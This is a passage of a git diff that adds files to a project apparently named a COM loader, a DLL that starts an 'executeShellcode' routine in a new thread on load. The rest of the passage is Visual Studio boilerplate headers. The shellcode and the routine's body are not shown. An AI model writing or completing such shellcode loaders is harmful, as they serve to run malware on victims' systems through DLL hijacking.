+ HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)executeShellcode, NULL, 0, NULL); + if (hThread) { + CloseHandle(hThread); + } + } + return TRUE; +} + diff --git a/COMLoaderAstharot/LoaderAstharotDll/framework.h b/COMLoaderAstharot/LoaderAstharotDll/framework.h new file mode 100644 index 0000000..54b83e9 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/framework.h @@ -0,0 +1,5 @@ +#pragma once + +#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers +// Windows Header Files +#include diff --git a/COMLoaderAstharot/LoaderAstharotDll/pch.cpp b/COMLoaderAstharot/LoaderAstharotDll/pch.cpp new file mode 100644 index 0000000..64b7eef --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/pch.cpp @@ -0,0 +1,5 @@ +// pch.cpp: source file corresponding to the pre-compiled header + +#include "pch.h" + +// When you are using pre-compiled headers, this source file is necessary for compilation to succeed. diff --git a/COMLoaderAstharot/LoaderAstharotDll/pch.h b/COMLoaderAstharot/LoaderAstharotDll/pch.h new file mode 100644 index 0000000..885d5d6 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/pch.h @@ -0,0 +1,13 @@ +// pch.h: This is a precompiled header file. +// Files listed below are compiled only once, improving build performance for future builds. +// This also affects IntelliSense performance, including code completion and many code browsing features. +// However, files listed here are ALL re-compiled if any one of them is updated between builds. +// Do not add files here that you will be updating frequently as this negates the performance advantage. + +#ifndef PCH_H +#define PCH_H + +// add headers that you want to pre-compile here +#include "framework.h" + +#endif //PCH_H diff --git a/COMLoaderAstharot/LoaderAstharotDll/resource.h b/COMLoaderAstharot/LoaderAstharotDll/resource.h new file mode 100644 index 0000000..e325c48 --- /dev/null +++ b/COMLoaderAstharot/LoaderAstharotDll/resource.h @@ -0,0 +1,14 @@ +//{{NO_DEPENDENCIES}} +// Microsoft Visual C++ generated include file. +// Used by LoaderAstharotDll.rc + +// Next default values for new objects +// +#ifdef APSTUDIO_INVOKED +#ifndef APSTUDIO_READONLY_SYMBOLS +#define _APS_NEXT_RESOURCE_VALUE 101 +#define _APS_NEXT_COMMAND_VALUE 40001 +#define _APS_NEXT_CONTROL_VALUE 1001 +#define _APS_NEXT_SYMED_VALUE 101 +#endif +#endif